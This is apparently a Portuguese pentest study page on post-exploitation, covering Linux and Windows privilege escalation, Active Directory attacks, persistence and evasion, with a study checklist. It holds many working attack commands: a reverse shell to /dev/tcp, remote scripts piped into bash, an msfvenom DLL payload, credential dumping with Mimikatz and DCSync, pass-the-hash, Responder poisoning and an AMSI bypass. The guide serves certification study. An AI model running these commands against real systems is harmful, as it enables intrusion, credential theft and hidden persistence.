Você tem um shell. Agora precisa entender onde está, elevar seus privilégios para root ou SYSTEM, e demonstrar o impacto real do comprometimento. Esta é a fase mais técnica e a que mais pesa no relatório final.
Os primeiros minutos após obter um shell determinam o que vem depois. Antes de qualquer exploit de escalada, colete informações: quem você é, onde está, o que tem permissão de fazer, e o que está rodando no sistema.
Os primeiros comandos — Linux e Windows
Linux — Orientação inicial
whoami — usuário atual id — grupos e privilégios sudo -l — o que posso rodar como root uname -a — versão do kernel cat /etc/os-release — distro ps aux — processos em execução ss -tulnp — portas abertas internamente cat /etc/passwd — usuários do sistema
Windows — Orientação inicial
whoami /all — usuário, grupos e privilégios systeminfo — OS, patches, arquitetura net user — usuários locais net localgroup administrators — admins ipconfig /all — interfaces de rede netstat -ano — conexões e portas tasklist — processos rodando wmic product get name — softwares instalados
O que procurar
Credenciais em arquivos de configuração (.env, config.php, web.config), histórico de comandos (~/.bash_history), chaves SSH (~/.ssh/), scripts com senhas hardcoded, variáveis de ambiente com tokens, backups de banco de dados.
enumeração rápida linux# Buscar arquivos com senhas em textogrep -r "password\|passwd\|secret\|api_key" /var/www/ 2>/dev/null# Histórico de comandos de todos os usuáriosfind /home /root -name ".*history" 2>/dev/null -exec cat {} \;# Arquivos de config com credenciaisfind / -name "*.conf" -o -name "*.config" -o -name ".env" 2>/dev/null# Conexões de rede internas (serviços não expostos externamente)ss -tulnp | grep 127.0.0.1
02
De usuário para root
Linux Privilege Escalation
Escalada de privilégios no Linux se resume a encontrar uma configuração incorreta que permite executar código como root. LinPEAS automatiza a varredura, mas entender cada vetor manualmente é o que o OSCP exige e o que relatórios de qualidade descrevem.
LinPEAS — Enumeração automatizada
Sempre rode primeiro
LinPEAS (Linux Privilege Escalation Awesome Script) verifica centenas de vetores e destaca os mais críticos em vermelho/amarelo. Salve o output em arquivo para analisar com calma. Não substitui entender cada vetor, mas acelera muito a descoberta.
linpeas# Transferir para o alvo via servidor HTTP# Na sua máquina:python3 -m http.server 8000# No alvo:curl http://10.0.0.1:8000/linpeas.sh | bash# ou baixar e rodar:wget http://10.0.0.1:8000/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh | tee /tmp/out.txt
Vetores de Escalada — Linux
Vetor
Sudo Misconfigurations
sudo -l mostra o que o usuário atual pode executar como root. Se qualquer binário está listado, consulte o GTFOBins para ver como elevar privilégios através dele. Mesmo binários "inofensivos" como find, vim ou python têm técnicas de escape.
Binários com SUID executam com as permissões do dono (frequentemente root) independente de quem os executa. Encontre todos os SUID e consulte o GTFOBins para cada um encontrado.
# Listar todos os binários SUIDfind / -perm -4000 -type f 2>/dev/null# Exemplo: /usr/bin/bash com SUID/usr/bin/bash -pbash-5.1# whoamiroot
GTFOBins lista exploração para cada binário com SUID. Verifique todos os não-padrão encontrados.
Vetor
Cron Jobs com Permissões Fracas
Se um cron job roda como root e executa um script que você pode editar, você controla o que root executa. Verifique o conteúdo dos scripts chamados pelos crons — e as permissões desses arquivos.
# Ver cron jobs do sistemacat /etc/crontabls -la /etc/cron*cat /var/spool/cron/crontabs/root# Monitorar processos novos (pspy — sem root)./pspy64# Se o script é editável:echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /caminho/script.sh
Vetor
PATH Hijacking
Se um script SUID ou sudo chama um binário sem caminho absoluto (ex: python em vez de /usr/bin/python), você pode colocar um binário malicioso com o mesmo nome em um diretório que vem antes no PATH.
# Script vulnerável chama: python backup.py# Criar python falso em /tmpecho '/bin/bash' > /tmp/pythonchmod +x /tmp/pythonexport PATH=/tmp:$PATH# Ao rodar o script, /tmp/python é executado como root
Vetor
Capabilities
Linux capabilities são um subset de privilégios root que podem ser atribuídos a binários específicos. cap_setuid permite que o binário altere seu próprio UID para 0 (root).
# Encontrar binários com capabilitiesgetcap -r / 2>/dev/null/usr/bin/python3 = cap_setuid+ep# Explorar cap_setuid em pythonpython3 -c "import os; os.setuid(0); os.system('/bin/bash')"
Vetor
Kernel Exploits
Última opção — exploits de kernel são instáveis e podem travar o sistema. Use quando todos os outros vetores falharam. Identifique a versão exata com uname -a e busque exploits específicos.
Sempre teste exploits de kernel em laboratório antes de rodar em produção. Podem causar kernel panic.
03
De usuário para SYSTEM
Windows Privilege Escalation
Windows tem vetores de escalada distintos do Linux. WinPEAS automatiza a descoberta. Os vetores mais comuns em ambientes reais são serviços mal configurados, tokens de impersonação e AlwaysInstallElevated — não exploits de kernel.
Vetores de Escalada — Windows
Vetor
Unquoted Service Path
Quando o caminho de um executável de serviço contém espaços e não está entre aspas, o Windows tenta executar partes do caminho como binários. Se você tem escrita em algum diretório intermediário, coloca um executável malicioso lá.
# Encontrar serviços com path sem aspaswmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'# Exemplo vulnerável:C:\Program Files\My App\service.exe# Windows tenta: C:\Program.exe → C:\Program Files\My.exe → ...# Se você pode escrever em C:\Program Files\, crie My.exe
Vetor
Weak Service Permissions
Se você tem permissão para modificar o binário de um serviço que roda como SYSTEM, substitua o executável por um payload. Reinicie o serviço para execução privilegiada.
# Verificar permissões de serviços com PowerUp. .\PowerUp.ps1Invoke-AllChecks# Ou manualmente com accesschkaccesschk.exe -uwcqv "Users" *
Vetor
Token Impersonation (Potato Attacks)
Se o usuário tem o privilégio SeImpersonatePrivilege (comum em contas de serviço web como IIS, MSSQL), pode impersonar tokens de outros usuários — incluindo SYSTEM. Família Potato explora isso.
SeImpersonatePrivilege em conta de serviço web = caminho direto para SYSTEM na maioria dos Windows.
Vetor
AlwaysInstallElevated
Configuração de GPO que permite a qualquer usuário instalar MSI com privilégios de SYSTEM. Verificar duas chaves de registro — ambas precisam estar em 1.
Quando um executável tenta carregar uma DLL e procura em diretórios na seguinte ordem: diretório do app → PATH. Se você tem escrita no diretório do app ou em um diretório do PATH antes do diretório correto, pode plantar uma DLL maliciosa.
# Monitorar DLLs não encontradas com Process Monitor (Sysinternals)# Filtro: Result = NAME NOT FOUND e Path ends with .dll# Gerar DLL maliciosamsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll -o missing.dll
Vetor
Registry Autoruns
Programas configurados para rodar no login ficam em chaves de registro específicas. Se você tem permissão de escrita e o programa roda com privilégios elevados, substitua pelo seu payload.
A maioria dos ambientes corporativos roda Active Directory. Comprometer o AD significa controlar toda a organização. Os ataques aqui são o que diferenciam um pentester de nível médio de um sênior.
BloodHound — Mapeamento visual do AD
Por que BloodHound muda tudo
BloodHound coleta relacionamentos entre usuários, grupos, computadores e GPOs do AD e visualiza caminhos de ataque. Mostra graficamente como chegar do usuário comprometido até Domain Admin — mesmo através de múltiplos saltos que seriam impossíveis de descobrir manualmente.
bloodhound# Coletar dados com SharpHound (no alvo Windows).\SharpHound.exe -c All --zipfilename dados.zip# Alternativa Python (sem executar no alvo)bloodhound-python -u usuario -p senha -d dominio.local -ns 192.168.1.10 -c All# Iniciar BloodHound + Neo4jsudo neo4j startbloodhound# Importar ZIP → Queries prontas: "Shortest Path to DA"
Ataques Kerberos
Kerberos
Kerberoasting
Qualquer usuário do domínio pode solicitar tickets de serviço (TGS) para contas com SPN configurado. Esses tickets são criptografados com a senha da conta de serviço — e podem ser quebrados offline com Hashcat.
# Solicitar tickets via Impacket (sem estar no AD)GetUserSPNs.pydominio.local/usuario:senha-request -dc-ip 192.168.1.10# Quebrar o hash com Hashcathashcat -m 13100 -a 0 ticket.txt rockyou.txt
Contas de serviço com SPN frequentemente têm senhas antigas e fracas. Kerberoasting é um dos ataques mais bem-sucedidos em AD.
Kerberos
AS-REP Roasting
Contas com "Do not require Kerberos preauthentication" habilitado expõem seu hash sem nem precisar de credencial. O KDC retorna o AS-REP criptografado com a senha do usuário — quebrável offline.
# Sem credencial — só lista de usuáriosGetNPUsers.pydominio.local/-usersfile users.txt -no-pass -dc-ip 192.168.1.10# Quebrar com Hashcathashcat -m 18200 -a 0 asrep.txt rockyou.txt
Lateral Movement
Pass-the-Hash
Com o hash NTLM de um usuário (via hashdump do Meterpreter, Mimikatz ou secretsdump), você pode autenticar em outros sistemas sem precisar da senha em texto claro.
# Via Impacket psexecpsexec.pydominio/admin@192.168.1.10-hashes:hash_ntlm# Via CrackMapExeccme smb 192.168.1.0/24 -u admin -H hash_ntlm# Via Evil-WinRMevil-winrm -i 192.168.1.10 -u admin -H hash_ntlm
Domínio
DCSync — Dump de todos os hashes
Se você tem permissões de replicação no domínio (Domain Admin, ou usuário com DS-Replication rights), pode simular um Domain Controller e solicitar todos os hashes de senha do AD via protocolo de replicação.
# Via Impacket secretsdumpsecretsdump.pydominio/admin:senha@192.168.1.10# Via Mimikatz (dentro do DC)lsadump::dcsync /domain:dominio.local /alllsadump::dcsync /user:krbtgt# para Golden Ticket
DCSync como Domain Admin = dump completo de todos os hashes do domínio. Game over para o AD.
Envenenamento
LLMNR / NBT-NS Poisoning
Quando um host não consegue resolver um nome via DNS, tenta LLMNR e NBT-NS (broadcast na rede local). Responder envenena essas respostas e captura hashes NTLMv2 de todos os hosts que tentam autenticar.
# Rodar Responder na interface corretasudo responder -I eth0 -wv# Aguardar hashes NTLMv2 → quebrar com Hashcathashcat -m 5600 -a 0 ntlmv2.txt rockyou.txt
Extração
Mimikatz — Dump de credenciais
Ferramenta clássica para extração de credenciais do Windows. Lê senhas em texto claro e hashes da memória do processo LSASS. Requer privilégios de SYSTEM ou administrador local.
# Dump de credenciais do LSASSprivilege::debugsekurlsa::logonpasswords# Dump de hashes locaislsadump::sam# Via Meterpreter (sem tocar disco)load kiwicreds_all
05
Manter acesso & evitar detecção
Persistência & Evasão
Em um pentest real, você demonstra que um atacante poderia manter acesso mesmo após a vulnerabilidade original ser corrigida. Em Red Team, evasão é crítica — você não pode ser detectado pelo Blue Team antes de atingir o objetivo.
Técnicas de Persistência
Linux
Backdoors e Chaves SSH
Adicionar sua chave pública ao ~/.ssh/authorized_keys do root garante acesso SSH permanente sem senha. Criar um usuário oculto com UID 0 (root) também é técnica comum.
Usar binários legítimos do sistema para executar código malicioso. Como já estão presentes no sistema, não são detectados por soluções baseadas em assinatura. Referência: lolbas-project.github.io
AMSI (Antimalware Scan Interface) intercepta PowerShell e scripts para análise pelo antivírus. Existem técnicas de bypass que corrompem ou desabilitam o AMSI na sessão atual, permitindo executar scripts maliciosos sem detecção.
# Bypass clássico (pode ser detectado)[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)# Verificar se AMSI foi bypassadoamsiutils# deve retornar erro, não alerta
Para o PNPT e OSCP o foco é entender o conceito. Técnicas específicas de bypass evoluem constantemente.
✓
Acompanhamento
Checklist de Estudo
Marque conforme for avançando. O progresso fica salvo no navegador.
Linux PrivEsc
Rodei LinPEAS em uma máquina comprometida e interpretei o outputIdentifiquei os vetores destacados em vermelho
Escalei privilégios via sudo misconfigurationUsando GTFOBins para o binário permitido
Encontrei e explorei um binário SUID não-padrão
Explorei um cron job com script editávelObtive shell de root via reverse shell no cron
Usei pspy para monitorar processos sem rootDescobri um processo periódico rodando como root
Windows PrivEsc
Rodei WinPEAS e PowerUp em uma máquina WindowsIdentifiquei ao menos um vetor explorável
Explorei SeImpersonatePrivilege com PrintSpoofer ou JuicyPotatoObtive SYSTEM a partir de conta de serviço
Explorei um unquoted service path ou weak service permission
Active Directory
Montei um lab AD básico (Windows Server + 1 cliente)Ou pratiquei em TryHackMe AD rooms
Executei Kerberoasting e quebrei o ticket com Hashcat
Capturei hashes NTLMv2 com Responder e quebrei offline
Usei BloodHound para mapear o caminho até Domain AdminImportei dados do SharpHound e visualizei o grafo
Executei Pass-the-Hash com Impacket ou CrackMapExecAcessei outro sistema usando hash NTLM capturado
Completei o curso Practical Ethical Hacking (TCM) — seção ADReferência mais didática disponível sobre AD attacks